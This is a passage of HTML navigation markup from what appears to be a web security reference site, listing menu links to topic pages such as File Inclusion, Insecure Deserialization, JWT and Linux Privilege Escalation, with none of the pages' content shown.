<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_20">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
File Inclusion
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../File%20Inclusion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
File Inclusion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LFI to RCE
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Inclusion Using Wrappers
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_21">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Google Web Toolkit
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google Web Toolkit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_22">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
GraphQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
GraphQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_23">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
HTTP Parameter Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Parameter Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Headless Browser
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_24">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Headless Browser
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Headless%20Browser/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Headless Browser
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hidden Parameters
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_25">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Hidden Parameters
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTTP Hidden Parameters
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_26">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Deserialization
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
.NET Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Node Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PHP Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Python Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Ruby Deserialization
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_27">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Direct Object References
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Direct Object References
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_28">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Management Interface
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Management Interface
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_29">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Randomness
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Randomness/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Randomness
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_30">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Insecure Source Code Management
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Insecure Source Code Management
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bazaar
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Git
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mercurial
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subversion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JSON Web Token
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_31">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
JSON Web Token
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../JSON%20Web%20Token/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
JWT - JSON Web Token
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_32">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Java RMI
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Java%20RMI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Java RMI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_33">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LDAP Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LDAP%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LDAP Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_34">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
LaTeX Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../LaTeX%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
LaTeX Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_35">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Mass Assignment
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Mass%20Assignment/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Mass Assignment
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Methodology and Resources
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_36">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Methodology and Resources
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - Azure
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Application Escape and Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Server
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology and Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
||
|
